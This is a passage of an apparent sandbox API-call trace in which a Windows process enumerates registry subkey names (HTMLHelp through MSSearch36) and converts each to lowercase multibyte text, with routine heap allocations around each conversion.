[0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.733] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0xffb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.734] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0xffb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.734] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0xffb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xffc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.734] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0xffb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xffc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0253.734] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.734] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.734] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0xffb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.735] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0xffb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xffc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.735] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0xffb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.735] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0xffb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xffc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0253.735] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.735] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0xffb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xffc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.736] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0xffb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xffc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.736] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0xffb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.736] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0xffb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.736] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0253.736] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0xffb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xffc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0253.737] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0xffb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0253.737] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0xffb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xffc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0253.737] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0xffb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xffc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0253.737] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0xffb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xffc0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0253.737] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0xffb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xffc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0253.737] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0xffb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0xffb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xffc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0xffb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0xffb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0xffb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0xffb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0xffb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xffc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0253.738] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0xffb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xffc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0253.739] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0xffb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0253.739] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0xffb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0253.739] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0xffb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xffc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", 